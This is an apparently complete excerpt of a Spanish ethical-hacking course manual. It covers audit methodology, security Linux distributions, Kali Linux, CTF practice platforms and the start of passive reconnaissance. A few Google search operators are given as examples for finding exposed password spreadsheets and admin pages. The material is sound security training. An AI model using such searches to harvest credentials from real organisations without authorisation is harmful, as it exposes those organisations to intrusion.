(BC) Hacking ético © ADR Infor SL

Índice
Introducción 8
I. Introducción a las auditorías de seguridad 8
II. Objetivos 8
III. La necesidad de las auditorías de seguridad 8
IV. Auditoría de seguridad vs. escaneo de vulnerabilidades 9
V. Marcos de auditorías de seguridad 10
VI. Distribuciones de hacking ético 11
VII. Kali Linux 14
VIII. Glosario de términos 18
IX. Prácticas técnicas de hacking: juegos 20
X. Resumen 21
Recursos 23
Bibliografía 23
Glosario. 24
Auditoría de infraestructuras I: introducción, reconocimiento y escaneo 25
I. Introducción 25
1.1. Objetivos 25
1.2. Tipos de auditoría 25
II. Reconocimiento 26
2.1. Introducción 26
2.2. Teoría 26
2.3. Reconocimiento PASIVO y ACTIVO (OSINT, Google/Bing hacking, shodan, sniffing) 27
2.3.1. Reconocimiento pasivo 27
2.3.1.1. Google hacking 27
2.3.1.2. E-mail harvesting 30
2.3.1.3. Enumeración Whois 31
2.3.1.4. Recon-ng 31
2.3.2. Reconocimiento activo 32
2.3.2.1. Enumeración DNS 32
2.3.2.2. Enumeración SMB 35
2.3.2.3. Enumeración SMTP 36
2.3.2.4. Enumeración SNMP 36
III. Escaneo 38
3.1. Introducción 38
3.2. Teoría 38
3.3. Descubrimiento de red 41
3.3.1. Descubrimiento de hosts mediante ICMP 42
3.3.2. Descubrimiento de hosts mediante ARP 47
3.3.3. Descubrimiento de dispositivos y configuración de red 48
3.4. Descubrimiento de servicios 52
3.4.1. Enumeración de puertos 53
3.4.2. Enumeración de servicios y versión 57
3.4.3. Opciones avanzadas de escaneo 59
3.5. Búsqueda de vulnerabilidades 64
3.5.1. Nmap como escáner de vulnerabilidades 65
3.5.2. Nessus 65
3.5.3. Escáneres más específicos (sslscan, qualys, acunetix, NIKTO, JOOMSCAN, CMSCAN, etc.) 71
3.5.4. Búsqueda de vulnerabilidades en fuentes abiertas 74

2/265
 IV. Resumen 75
Recursos 76
Enlaces de Interés 76
Bibliografía 77
Glosario. 79
Auditoría de infraestructuras II: explotación y escalada de privilegios 81
I. Explotación 81
1.1. Introducción 81
1.2. Objetivos 81
1.3. Teoría 81
1.4. Vectores de ataque 82
1.5. Tipos de exploit 83
1.6. Búsqueda de exploit (Exploit-db y similares, searchsploit) 83
1.7. Metasploit 85
1.7.1. Módulos auxiliares 87
1.7.2. Módulos de exploits 87
1.7.3. Payloads de Metasploit 88
1.7.4. Generación de shellcode y payloads ejecutables 89
1.8. Tipos de shells 92
II. Escalada de privilegios 93
2.1. Introducción 93
2.2. Teoría 93
2.3. Escalando privilegios con Metasploit 94
2.3.1. Utilizando meterpreter 94
2.3.2. Utilizando exploits específicos 95
2.4. Exploits de escalada de privilegios en local 98
2.4.1. Elevación de privilegios en Microsoft Windows 98
2.4.2. Elevación de privilegios en Linux 99
2.5. Fuerza bruta de credenciales 100
2.5.1. Medusa 101
2.5.2. ncrack 101
2.5.3. hydra 102
2.5.4. patator 102
2.6. Extracción de credenciales mediante Mimikatz 103
2.6.1. Recuperar contraseñas en texto plano 103
2.6.2. Exportar tickets de Kerberos 104
2.6.3. Exportar fichero SAM 104
2.7. Autenticación mediante técnicas “Pass the Hash” 105
2.7.1. Pass the Hash con Metasploit 105
2.7.2. Pass the Hash con Mimikatz 105
2.7.3. Pass the hash con pth-toolkit 106
2.7.4. Autenticándonos en escritorio remoto con Pass the Hash 108
2.7.5. Utilizando Pass the Hash en scripts de nmap 108
2.8. Password cracking 108
2.8.1. Jhon the ripper 109
2.8.2. hashcat 110
2.9. Pivoting con meterpreter 111
III. Resumen 117
Recursos 118
Enlaces de Interés 118

3/265
 Bibliografía 119
Glosario. 121
Auditoría de aplicaciones web 123
I. Introducción a la auditoría web 123
1.1. Introducción 123
1.2. Objetivos 123
1.3. Tipos de auditoría 124
1.4. Vulnerabilidades web 124
II. Metodología 126
2.1. Pruebas de seguridad en aplicaciones web 126
2.1.1 Recolección de información 127
2.1.2 Pruebas de gestión de configuración e implementación 127
2.1.3 Pruebas de gestión de identidades 128
2.1.4 Pruebas de autenticación 128
2.1.5 Pruebas de autorización 128
2.1.6 Pruebas de gestión de sesiones 128
2.1.7 Pruebas de validación de entrada de datos 129
2.1.8 Pruebas de manejo de errores 129
2.1.9 Pruebas de cifrado débil 129
2.1.10 Pruebas de lógica de negocio 129
2.1.11 Pruebas en el lado cliente 130
2.2. Fases de una auditoría web 130
2.2.1 Planificación 130
2.2.2 Recolección de información 131
2.2.3 Ejecución de la auditoría 131
2.2.4 Elaboración de informe 132
III. Vulnerabilidades y pruebas 132
3.1. Recolección de información 132
3.1.1 Buscadores 132
3.1.2 Navegar por la aplicación 133
3.1.3 Whois 133
3.1.4 Mapa de la aplicación 133
3.1.5 Código fuente 135
3.1.6 Metadatos 136
3.1.7 Cabeceras 139
3.1.8 Puertos abiertos 139
3.1.9 Robots.txt 140
3.2. Búsqueda de vulnerabilidades 140
3.2.1 CVE Details 140
3.2.2 NIST Database 141
3.3. Ataques de inyección 141
3.3.1 SQL injection 142
3.3.1.1 SQL injection basado en errores 143
3.3.1.2 Blind SQL 145
3.3.1.3 Detección 148
3.3.2 LDAP injection 149
3.3.2.1 Detección 150
3.3.3 Code injection 150
3.3.3.1 Detección 151
3.3.4 Command injection 151

4/265
 3.3.4.1 Detección 153
3.3.5 Otros ataques de inyección 153
3.4. Cross Site Scripting (XSS) 154
3.4.1 XSS reflejado 156
3.4.2 XSS almacenado 161
3.4.3 XSS basado en DOM 162
3.4.4 Detección 164
3.5. Local/Remote File Inclusion 165
3.5.1 Local File Inclusion (LFI) 165
3.5.2 Remote File Inclusion (RFI) 167
3.5.3 Detección 168
3.6. Cross Site Request Forgery (CSRF) 168
3.6.1 Detección 169
3.7. Analizadores automáticos 170
3.7.1 OWASP ZAP 170
3.7.2. Vega 171
3.7.3. Arachni 172
3.7.4. Otros 173
IV. Anexo I: Burp Suite 173
4.1. Configuración 175
4.2. Características 177
V. Resumen 188
Ejercicios 190
Ejercicio propuesto 1 190
Ejercicio propuesto 2 190
Recursos 191
Enlaces de Interés 191
Bibliografía 191
Glosario. 194
Auditoría de aplicaciones móviles 196
I. Introducción a la auditoría de aplicaciones móviles 196
II. Objetivos 196
III. Metodología 196
3.1. Riesgos de seguridad en aplicaciones móviles 196
3.2. Pruebas seguridad en aplicaciones móviles 198
3.2.1. Pruebas de arquitectura, diseño y modelo de amenazas 199
3.2.2. Pruebas de almacenamiento de datos y privacidad 200
3.2.3. Pruebas de criptografía 201
3.2.4. Pruebas de autenticación y gestión de la sesión 201
3.2.5. Pruebas de comunicaciones 201
3.2.6. Pruebas de interacción con la plataforma 202
3.2.7. Pruebas de calidad de código 202
3.2.8. Pruebas de resiliencia 202
IV. Aplicaciones móviles Android 203
4.1. Tipos de análisis 203
4.2. Análisis estático de la aplicación 204
4.2.1. Obtención del APK 204
4.2.2. Decompilación del APK 208
4.2.3. Obtención del código fuente 209
4.2.4. Reglas de detección y pruebas 212

5/265
 4.2.5. Herramientas y frameworks 221
4.3. Análisis dinámico 223
4.3.1. Configuración del entorno 223
4.3.2. Análisis dinámico de la aplicación 228
4.3.3. Evasión de las principales contramedidas 229
4.4. Aplicaciones vulnerables 231
V. Aplicaciones móviles iOS 232
5.1. iOS (iPhone OS) 232
5.2. Entorno de pruebas para el análisis de aplicaciones iOS 232
5.3. Análisis estático 233
5.3.1. Archivo IPA 233
5.3.2. Estructura del aplicativo en el dispositivo local 236
5.3.3. Información almacenada en el dispositivo local 237
5.3.4. Análisis del binario 240
5.3.5. Frameworks para el análisis del archivo IPA 243
5.4. Análisis dinámico de la aplicación móvil 246
5.4.1. Instalación del certificado para el análisis del tráfico con Burp Suite 247
5.4.2. Bypass de los controles para dificultar el análisis dinámico 248
5.5. Aplicaciones vulnerables 249
VI. Resumen 250
Recursos 251
Enlaces de Interés 251
Bibliografía 251
Glosario. 252
Generación de informes de auditoría 254
I. Introducción 254
II. Objetivos 254
II. Contenido del informe 254
2.1. Introducción 254
2.2. Metodología 255
2.3. Informe ejecutivo 255
2.4. Informe técnico 256
III. Resumen 258
Recursos 260
Bibliografía 260
Repaso final de módulo 261
Evaluación Final de Módulo 262
Instrucciones evaluación final del módulo 262
Caso práctico 262
Enunciado 262
Se pide 262
Cuestionario tipo test 264
Recursos 265
Enlaces de Interés 265

6/265
7/265
Introducción

I. Introducción a las auditorías de seguridad

Este curso introduce a las auditorías de seguridad, también conocidas como hacking ético profesional,
que consisten en romper la seguridad de una organización de forma sistemática y organizada con previa
autorización escrita por la organización, para conocer el estado de seguridad de la misma, qué
debilidades tiene y qué acciones deberían tomar para mejorar la seguridad.

E l hacking ético es un efectivo método para comprobar los mecanismos de seguridad y verificar la
postura de seguridad de una organización frente a un ataque. Para ello, vamos a estudiar en detalle cómo
llevar a cabo auditorías de seguridad en tres ámbitos muy presentes en las organizaciones actuales:

Infraestructura.
Aplicaciones web.
Aplicaciones móviles.

II. Objetivos

Durante esta unidad, los alumnos aprenderán sobre los siguientes conceptos:

Introducción a las auditorías de seguridad.

Terminología variada.
Fases del hacking ético/auditoría.
Manejo de herramientas.
Técnicas de ataque.

III. La necesidad de las auditorías de seguridad

Las auditorías de seguridad se han convertido en una necesidad para las empresas, ya que es el único
método efectivo para verificar la seguridad de una organización y conocer con detalle su estado.

8/265
Imagen 1.1. Hacking ético.
Fuente: www.mouse.com.

En términos más simples: el hacking ético o auditoría de seguridad nos permite verificar la
postura de seguridad de una organización y encontrar sus puntos débiles en este contexto.

IV. Auditoría de seguridad vs. escaneo de

vulnerabilidades
Una auditoría de seguridad es una metodología sistemática que verifica de forma efectiva la seguridad
de una organización, mientras que un escaneo de vulnerabilidades es una prueba reducida y concreta
cuyo único objetivo es la identificación de vulnerabilidades.

Imagen 1.2. Hacking ético.

Fuente: elaboración propia CyberAcademy.

Un error generalizado que se produce hoy en día entre muchos clientes y profesionales de seguridad
es llamar hacking ético a un escaneo de vulnerabilidades. La diferencia es que, en una auditoría de
seguridad o hacking ético, la prueba consiste en simular un ataque informático real con el menor número
de restricciones posible. ¡Los atacantes de verdad no tienen reglas que respetar!

Si se establecen demasiadas reglas y límites a una prueba de hacking ético, esta pierde su veracidad y
los resultados no serán completos. Por desgracia, es bastante común que las organizaciones definan una
serie de excepciones o restricciones a la hora de llevar a cabo las auditorías y por eso muchas pruebas de
hacking ético son ineficaces.

Los escaneos de vulnerabilidades, por su parte, suelen ser más cortos en tiempo y más baratos,
mientras que una prueba de hacking ético necesita más tiempo y, por lo tanto, es más costosa, aunque
tiene muchos más beneficios para el cliente.

Como profesionales de seguridad, debemos entender la diferencia entre hacking ético y escaneo de
vulnerabilidades y transmitirlo a los clientes.

9/265
 Imagen 1.3. Diferencias entre escaneos de vulnerabilidades y auditorías de seguridad

Imagen 1.3. Diferencias entre escaneos de vulnerabilidades y auditorías de seguridad.

Fuente: elaboración propia CyberAcademy.

V. Marcos de auditorías de seguridad

Existen auditorías de seguridad de distintos tipos como, por ejemplo, infraestructura, aplicaciones web
o aplicaciones móviles. Cada tipo de auditoría implica llevar a cabo unas acciones específicas
dependiendo de lo que se esté auditando, es por ello que existen distintos marcos que se pueden tomar
como punto de partida para llevar a cabo las auditorías.

Algunos de los marcos de seguridad más populares son:

Penetration Testing Execution Standard (PTES)

Metodología centrada en test de penetración que incluye un proceso definido que va desde las
interacciones previas entre pentester y responsible de la aplicación hasta la entrega del informe final.

http://www.pentest-standard.org/index.php/Main_Page.

Open Source Security Testing Methodology Manual (OSSTMM)

Metodología de seguridad genérica que engloba distintos puntos de seguridad de la organización.

http://www.isecom.org/research/osstmm.html.

10/265
 Penetration Testing Framework

Metodología centrada en los test de penetración.

http://www.vulnerabilityassessment.co.uk/Penetration%20Test.html.

OWASP Testing Framework

Metodología centrada en auditorías de seguridad de aplicaciones web.

https://www.owasp.org/index.php/The_OWASP_Testing_Framework.

NIST Technical Guide to Information Security Testing and Assessment (NIST 800-115)

Contiene las pautas del proceso de test de penetración, desde la planificación al reporte final.

http://nvlpubs.nist.gov/nistpubs/Legacy/SP/nistspecialpublication800-115.pdf

VI. Distribuciones de hacking ético

Para llevar a cabo las auditorías de seguridad, existen distribuciones específicas que facilitarán la tarea
de los auditores, ya que incluyen de serie herramientas creadas con tal objetivo. La mayoría de estas
distribuciones están basadas en alguna versión de Linux.

A continuación, se van a enumerar algunas de las más comunes, todas ellas creadas con el fin de
llevar a cabo acciones relacionadas con el hacking ético:

Kali Linux

Distribución de seguridad más utilizada y extendida. Es una de las más completas con más de 600
herramientas.

https://www.kali.org/

Parrot Security

Otra de las más utilizadas, se parece a KALI e incluye las mismas herramientas, pero incluye
además otras propias.

https://www.parrotsec.org/

11/265
DEFT Linux

Una de las mejores soluciones para realizar análisis forense.

http://www.deftlinux.net/download/

BackBox Linux

Basado en Ubuntu, se centra en la evaluación de seguridad y pruebas de penetración.

http://www.backbox.org/

Samurai Web Testing Framework

Entorno Linux Live, preconfigurado como plataforma de pentesting web.

http://samurai.inguardians.com/

Pentoo

Basado en Gentoo Linux, amplia variedad de herramientas ordenadas en categorías como exploit,
cracker, etc.

http://www.pentoo.ch/

BlackArch Linux

Distribución completa de Linux para investigadores de seguridad y hackers éticos.

http://www.blackarch.org/

Network Security Toolkit (NST)

Basado en Fedora, creado para dar acceso a las mejores aplicaciones de seguridad de red de código
abierto para pruebas de pentest.

http://networksecuritytoolkit.org/nst/index.html

12/265
NodeZero

Mejora su rendimiento si se instala en modo tradicional, no en modo “ live”, igual que el resto
incluye gran numero de herramientas de seguridad.

https://sourceforge.net/projects/nodezero/

Blackbuntu

Basada en Ubuntu, fue diseñada para estudiantes.

http://sourceforge.net/projects/blackbuntu/

Knoppix STD

Basada en Debian, funciona en modo LIVE.

http://s-t-d.org/

Weakerth4n

Basada en Debian, tiene una gran colección de herramientas para pruebas de seguridad en redes
wifi.

http://weaknetlabs.com/main/

Matriux

Centrada en pruebas de seguridad.

http://www.matriux.com/index.php?language=en.

La elección de la distribución que se quiera utilizar depende de gustos. Prácticamente todas

las distribuciones ofrecen las mismas herramientas. Incluso se puede montar nuestra propia
plataforma de ataque utilizando una versión estándar de Linux tipo Ubuntu, Debian, Fedora, etc.
Incluso Windows, ¿por qué no?

Lo bueno de utilizar una distribución de seguridad es que ya incorpora muchas de las

herramientas que vamos a utilizar a lo largo de este curso. Por lo que no tenemos que estar
perdiendo el tiempo bajando y configurando herramientas.

13/265
VII. Kali Linux

URL: https://www.kali.org/

Doc: http://docs.kali.org/introduction/what-is-kali-linux

Posiblemente Kali Linux es la distribución de seguridad, basada en Ubuntu, más popular para realizar
hacking ético y es la que vamos a utilizar en este curso. Siéntete libre de utilizar otra versión de las
mencionadas anteriormente o tu propia distribución.

Lo bueno de Kali es que incorpora muchas de las herramientas, más de 600, que vamos a manejar en
este curso y aquellas que no incorpora son fácilmente instalables.

Características de Kali

Más de 600 herramientas de hacking ético.

Es Libre.
Árbol Git Open Source.
Cumple con FHS (Filesystem Hierarchy Standart).
Amplio soporte para dispositivos inalámbricos.
Parches al Kernel para inyección wifi.
Entorno de desarrollo seguro.
Paquetes y repositorios firmados con GPG.
Soporta varios lenguajes.
Completamente personalizable.
Soporte ARMEL y ARMHF 1.2.

14/265
1

Podemos utilizar Kali en modo Live que no requiere ninguna instalación, pero perdemos todo lo
realizado al apagar el equipo; o podemos optar por instalar Kali, opción recomendada. Las tecnologías
de virtualización como VMWare o VirtualBox hacen realmente fácil de instalar un sistema operativo
invitado en nuestro equipo de hacking ético. Podemos tener muchas máquinas virtuales para realizar
diferentes ataques.

Una vez arrancada la máquina de Kali, tendremos el escritorio (véase imagen 1.4.), y en el menú
Aplicaciones podemos encontrar el submenú Kali Linux. Aquí encontramos todas las herramientas
que incluye Kali.

Imagen 1.4. Menú Kali.

Fuente: captura Kali Linux (https://www.kali.org/).

En el menú Kali Linux podemos encontrar las siguientes opciones:

Favoritos: acceso directo a las herramientas que más se utilicen de la distribución.

Recopilación de Información: herramientas para recolección de información.
Análisis de vulnerabilidades: herramientas de análisis de vulnerabilidades.
Aplicaciones web: herramientas para ataques web.
Evaluación de bases de datos: herramientas centradas en bases de datos.
Ataques de contraseñas: herramientas para analizar contraseñas.
Ataques wireless: herramientas centradas en redes wifi.

15/265
 Ingeniería inversa: herramientas de ingeniería inversa.
Herramientas de explotación: herramientas de explotación de vulnerabilidades.
Husmeando/Envenenando: herramientas de sniffing o spoofing.
Manteniendo acceso: herramientas para mantener acceso.
Forensia: herramientas de análisis forense.
Herramientas de reporte: herramienta para generar informes.
Social Engineering Tools: herramientas de ingeniería social.
Servicios del sistema: utilidades para activar servicios en Kali.

En el directorio /usr/share podemos encontrar todas las herramientas instaladas en Kali. Es

recomendable que exploremos este directorio y nos familiaricemos con la mayoría de herramientas,
ya que en el curso es imposible que las veamos todas. Observa la imagen 1.5.

Imagen 1.5. Herramientas KALI /usr/share/.

Fuente: captura Kali Linux (https://www.kali.org/).

16/265
4

La mayoría de herramientas que vamos a utilizar son de línea de comandos, por lo que tenemos que
estar a gusto con una línea de comandos en Linux. Podemos encontrar una estupenda referencia en htt
p://www.pixelbeat.org/cmdline.html.

Imagen 1.6. Ejemplos de comandos Linux.

Fuente: http://www.pixelbeat.org/cmdline_es_AR.html.

17/265
 5

Las actualizaciones en Kali son frecuentes y somos responsables de que siempre esté a la última en
parches y herramientas. Para ello, semanalmente debemos ejecutar los siguientes comandos:

# apt-get update
# apt-get upgrade
# apt-get dist-upgrade - Este comando actualiza la distribución cuando se publican nuevas
versiones.

Otro comando que debemos conocer es el dpkg que nos permite instalar paquetes o conocer los que
están instalados (imagen 1.7.).

Imagen 1.7. Listar paquetes instalados en KALI.

Fuente: captura Kali Linux (https://www.kali.org/).

VIII. Glosario de términos

A continuación, se van a definir una serie de términos de los que se hablará en módulos posteriores
para facilitar la comprensión durante el desarrollo del curso.

18/265
Seguridad informática

El área de la informática que se enfoca en la protección de la infraestructura computacional y todo

lo relacionado con esta y, especialmente, la información contenida o circulante.

Hacker (el bueno)

Definición 1: término para designar a alguien con talento, conocimiento, inteligencia y

curiosidad, especialmente relacionada con las operaciones de computadora, redes,
seguridad, etc.
Definición 2: persona que disfruta aprendiendo detalles de los sistemas de programación y
cómo extender sus capacidades, tan intensamente como, al contrario, muchos usuarios
prefieren aprender solo el mínimo necesario.

La Real Academia Española (2001) define hacker como:

Pirata informático; (descripción discutida por los profesionales).

Persona experta en el manejo de computadoras, que se ocupa de la seguridad de los
sistemas y de desarrollar técnicas de mejora. (Nueva definición añadida a la RAE
recientemente que se acerca a la postura de los profesionales de seguridad).

Cracker (el malo)

Se utiliza para referirse a las personas que “rompen” algún sistema de seguridad. Los crackers
pueden estar motivados por una multitud de razones, incluyendo fines de lucro, protesta o por el
propio desafío.

Hacker ético

Profesional de la seguridad informática que aplica sus conocimientos al hacking con fines
defensivos y de manera legal.

Sombrero blanco (white hat)

Persona que utiliza sus conocimientos de hacking para fines defensivos; el analista de seguridad o
hacker ético.

Sombrero negro (black hat)

Persona que utiliza sus conocimientos de hacking para acciones destructivas; el cracker.

19/265
 Sombrero gris (gray hat)

Persona que utiliza sus conocimientos de hacking tanto para fines defensivos o acciones
destructivas según le interese.

Hacktivismo

El término hacktivismo es controvertido. Algunos afirman que se acuñó para describir cómo las
acciones directas electrónicas podían usarse en favor del cambio social al combinar la programación
con el pensamiento crítico. Otros utilizan el término como sinónimo de actos maliciosos y
destructivos que vulneran la seguridad de internet como una plataforma tecnológica, económica y
política.

Pirata informático

“persona con grandes habilidades en el manejo de ordenadores, que utiliza sus conocimientos para
acceder ilegalmente a sistemas o redes ajenos”: “Un pirata informático logró jaquear los sistemas de
seguridad” (Clarín@ [Arg.] 19.6.05).

Backdoor

Puerta trasera, técnica que permitirá acceder a un sistema infectado para su control remoto.

IX. Prácticas técnicas de hacking: juegos

Existen multitud de juegos en los que se puede practicar hacking ético, también conocidos como War
Games o Capture the Flag (CTF). Estos juegos son el entorno perfecto para practicar técnicas y
herramientas sin preocuparnos de las consecuencias.

Existen distintos tipos de juegos:

Portales web

Generalmente estas aplicaciones están enfocados a hacking web.

Capture the Flag (CTF)

Son competiciones que se organizan en internet y en los congresos de seguridad. Se definen una
serie de reglas, objetivos y tiempo y se puede competir de manera individual o por equipos. Podemos
encontrar todo tipo de pruebas: ataques web, ingeniera inversa, análisis de tráfico de red, explotación
de vulnerabilidades, análisis de cifrado, desarrollo de herramientas, etc.

20/265
 Servidores remotos

Varios portales web ofrecen acceso a servidores remotos donde poder realizar prácticas y explotar
vulnerabilidades.

Máquinas virtuales

Existen multitud de máquinas virtuales con todo tipo de pruebas y vulnerabilidades que podemos
descargar de Internet y utilizar en nuestro laboratorio.

Anotación: Algunos de los juegos hacking más populares

Hack The Box (HTB)

VulnHub
OverTheWire
NetWars
PentesterLabs
Hacker Experience
Hack this Site
Hacking Lab
Smash the Stack

El nivel de sofisticación de estos juegos es muy variado, desde pruebas muy simples realizando un
ataque web de Cross-Site Scripting (XSS) hasta analizar un binario desconocido para explotar una
vulnerabilidad.

Lo bueno de estos juegos es que, generalmente, incluyen tutoriales de ayuda donde encontrar pistas,
así como foros en caso que nos atasquemos y necesitemos pedir ayuda a la comunidad.

Otra opción muy interesante es montar un servidor en nuestro laboratorio con un software de
virtualización y configurar diferentes máquinas con Linux y Windows y realizar ataques.
Podemos pedirle a un amigo que configure una máquina virtual y nuestra tarea consistirá en
atacarla, luego podemos cambiar los papeles. Todo profesional debe saber atacar y defender.

X. Resumen

21/265
 En esta unidad no solo hemos estudiado en qué consiste una auditoría de seguridad, sino que también
hemos aprendido la diferencia entre esta práctica y el escaneo de vulnerabilidades.

Dentro del contexto de las auditorías de seguridad, hemos estudiado diferentes marcos de seguridad
como PTES (Penetration Testing Execution Standard ), OSSTM (Open Source Security Testing
Methodology Manual) o Penetration Testing Framework.

Con el fin de llevar a cabo estas auditorías de seguridad, en esta unidad se han explicado diferentes
distribuciones que nos ayudarán a realizar acciones relacionadas con el hacking ético. Entre ellas,
podemos encontrar:

Kali Linux (que hemos trabajado en mayor detalle).

Parrot Security.
Pentoo.

Todas ellas son buenas herramientas para facilitar nuestra tarea de auditoría.

22/265
Recursos

Bibliografía
Hacking ético 101 . : Astudillo B, K. (2016). Hacking ético 101 . 2nd ed. [S.l.]: Createspace
Independent P.
Pentesting con Kali: Aprende a dominar la herramienta Kali de pentesting, hacking y
auditorías activas de seguridad. : Santo Orcero, D. (2017). Pentesting con Kali: Aprende a
dominar la herramienta Kali de pentesting, hacking y auditorías activas de seguridad.
(Actualizado a Kali 2018.4)
BackBox Linux.: http://www.backbox.org/
BlackArch Linux.: http://www.blackarch.org/
Blackbuntu.: http://sourceforge.net/projects/blackbuntu/
Cracker.: http://es.wikipedia.org/wiki/Hacker
DEFT Linux.: http://www.deftlinux.net/download/
Documentación de Kali Linux.: http://docs.kali.org/introduction/what-is-kali-linux
Exploit Exercises.: https://exploit-exercises.com/
Hack The Box (HTB).: https://www.hackthebox.eu/en
Hack this Site.: https://www.hackthissite.org/
Hacker Experience.: https://hackerexperience.com/
KALI LINUX.: https://www.kali.org/
Knoppix STD.: http://s-t-d.org/
Línea de comandos Linux.: http://www.pixelbeat.org/cmdline.html
Matriux.: http://www.matriux.com/index.php?language=en
Metodología Open Source Security Testing Methodology Manual (OSSTMM).:
http://www.isecom.org/research/osstmm.html
Metodología OWASP Testing Framework.:
https://www.owasp.org/index.php/The_OWASP_Testing_Framework
Metodología Penetration Testing Execution Standard (PTES).: http://www.pentest-
standard.org/index.php/Main_Page
Metodología Penetration Testing Framework.:
http://www.vulnerabilityassessment.co.uk/Penetration%20Test.html
NetWars.: https://www.counterhackchallenges.com/user/signin
Network Security Toolkit (NST).: http://networksecuritytoolkit.org/nst/index.html
NIST Technical Guide to Information Security Testing and Assessment (NIST 800-115). :
http://nvlpubs.nist.gov/nistpubs/Legacy/SP/nistspecialpublication800-115.pdf
NodeZero.: http://www.nodezero-linux.org/

23/265
 OverTheWire.: http://overthewire.org/wargames/
Parrot Security.: https://www.parrotsec.org/
PentesterLabs.: https://pentesterlab.com/
Pentoo.: http://www.pentoo.ch/
Pirata informático (RAE).: http://lema.rae.es/dpd/srv/search?id=HTm1EjFzPD6zs66ao6
Samurai Web Testing Framework.: http://samurai.inguardians.com/
Términos seguridad informática en Wikipedia.:
https://es.wikipedia.org/wiki/Seguridad_inform%C3%A1tica
VulnHub.: https://www.vulnhub.com/
Weakerth4n.: http://weaknetlabs.com/main/

Glosario.

Auditoría de seguridad: Metodología sistemática que verifica de forma efectiva la

seguridad de una organización.

Escaneo de vulnerabilidades: Prueba reducida y concreta cuyo único objetivo es la

identificación de vulnerabilidades.

24/265
Auditoría de infraestructuras I: introducción,
reconocimiento y escaneo

I. Introducción
La auditoría o Penetration Test de infraestructuras engloba las diferentes fases que se ejecutan sobre
los sistemas informáticos de una organización para identificar las debilidades que pueden desencadenar
un riesgo en la integridad, confidencialidad y disponibilidad de sus activos.

Las fases que conforman la auditoría son: reconocimiento activo y pasivo, escaneo, explotación y
escalada de privilegios. A lo largo de toda esta unidad se tratará de introducir al alumno en los aspectos
más relevantes de cada una de ellas.

1.1. Objetivos
El objetivo de este módulo es que el alumno se familiarice con los diferentes tipos de auditorías de
seguridad que se pueden llevar a cabo, así como con las diferentes fases que los componen.

Concretamente, nos centraremos en las fases de reconocimiento y escaneo. En cuanto al

reconocimiento, trabajaremos en los diferentes tipos (activo y pasivo), y en la fase de escaneo
veremos el descubrimiento de elementos como hosts, red, servicios, etc.

1.2. Tipos de auditoría

Existen diferentes tipos de auditorías o Penetration Tests que se pueden ejecutar sobre la
infraestructura de una organización para llevar a cabo la identificación de los riesgos en los sistemas
informáticos. Podemos clasificar estas auditorías en:

Pentest externo

El objetivo de este tipo de pruebas es encontrar, de forma remota, debilidades en los equipos de la
organización que están publicados en internet, con el fin de traspasar el perímetro y descubrir
debilidades en la DMZ para poder acceder a la red interna.

Pentest interno

Durante este tipo de pruebas, se evalúa la seguridad desde el punto de vista de un insider para así
poder determinar hasta dónde puede elevar privilegios un usuario que cuente inicialmente con un
nivel de privilegios bajos.

25/265
 Red Team

Consiste en la simulación de ataques reales, para poner a prueba el nivel de seguridad de la

organización y encontrar debilidades y vulnerabilidades en su estructura.

De acuerdo con la información que conocemos sobre el objetivo cuando comienza la auditoría,
podemos clasificarlas en:

Caja negra

El auditor comienza la auditoría conociendo únicamente la identidad de la organización. El objetivo

de realizar una auditoría de este tipo es que simula un ataque externo real.

Caja gris

Se dispone de cierta información de la infraestructura, por lo que no se parte de cero.

Caja blanca

Se dispone la información de la organización, como por ejemplo mapas de red. Al conocer toda
esta información se puede prescindir de la fase de fingerprinting que se tratará más adelante.

II. Reconocimiento

2.1. Introducción

La fase de reconocimiento es una parte vital para el éxito del hacking ético. En ella debemos
recoger toda la información del objetivo de forma activa y pasiva para estudiarla y encontrar los
vectores de ataque.

2.2. Teoría
Hoy en día la mayoría de información está en la web, pero no necesaria y únicamente ahí, y es por eso
que utilizaremos técnicas de inteligencia de fuentes abiertas, Open Source Intelligence (OSINT).
Además, estas técnicas nos permiten obtener información del objetivo sin enviarle ningún paquete.

OSINT es la forma de recolección de inteligencia que engloba encontrar, seleccionar y adquirir

información de recursos públicos para ser analizada y producir inteligencia (información relevante).

26/265
 La fase de reconocimiento se basa en dos partes: reconocimiento pasivo y reconocimiento
activo.

2.3. Reconocimiento PASIVO y ACTIVO (OSINT, Google/Bing

hacking, shodan, sniffing)

2.3.1. Reconocimiento pasivo

Reconocimiento pasivo: es el proceso de recolección de información del objetivo que queremos

atacar, usando como medio información de dominio público. Esto incluye información obtenida en
motores de búsqueda como Google, Bing, Whois, información publicada de la empresa en concreto, etc.

Esta información obtenida ayuda a obtener una visión general de la organización objetivo que se
quiere atacar, donde se pueden exponer diferentes datos relativos a la misma, como pueden ser servicios
publicados, aplicaciones, cuentas de correo electrónico, empleados que trabajan en ella, si tienen
procesos de selección de nuevos empleados activos, etc.

2.3.1.1. Google hacking

Dentro de la fase de reconocimiento pasivo hemos mencionado los motores de búsqueda. La

enumeración usando Google hacking es muy útil ya que soporta el uso de numerosos operadores de
búsqueda, lo que permite acotar nuestras búsquedas y ser más precisos a la hora de obtener información
que nos pueda resultar útil. Además de lo mencionado, esta técnica nos ayuda a identificar posibles
vulnerabilidades y servicios mal configurados.

Los operadores más comunes suelen ser los citados a continuación:

27/265
Site

Este operador limitará nuestra búsqueda en Google a un único dominio. Esta búsqueda tan simple
nos puede proporcionar información muy útil, como cuántos subdominios tiene indexados o la
presencia de la organización en la web.

En la imagen siguiente hemos limitado los resultados de la búsqueda al dominio apple.com y vemos
que hemos obtenido numerosos resultados.

Imagen 2.1. Uso de operador site en Google.

Fuente: captura de google (www.google.com).

28/265
Operador “-“

Con el operador “-“ vamos a acotar nuestra búsqueda. En ella vamos a buscar por los subdominios
de Apple menos los que incluyamos al usar este operador. Esta nueva búsqueda nos va a dar más
información sobre el dominio objetivo y los subdominios que tiene accesibles vía web.

Imagen 2.2. Uso de operador “-“ en Google.

Fuente: captura de Google (www.google.com).

inurl

Este operador busca webs que tengan el término en alguna parte de la URL y se puede combinar
con varios operadores.

allinurl:admin.php site:.edu

filetype

Este operador busca webs que tengan expuestos ficheros con diferentes extensiones (.pdf, .ps, .doc,
.xls, .txt, .ppt, .rtf, .asp, etc.) y se puede combinar con varios operadores.

filetype:xls password site:mysite.org

Allintitle e intitle

Restringe la búsqueda únicamente al título de la página web (aquello que está entre las etiquetas).

allintitle: ”index of/admin”

29/265
 La siguiente imagen muestra una búsqueda realizada combinando algunos de los operadores descritos
arriba.

Imagen 2.3. Combinación de operadores en Google.

Fuente: captura de Google (www.google.com).

Se pueden combinar numerosos operadores en Google para acotar nuestras búsquedas y obtener
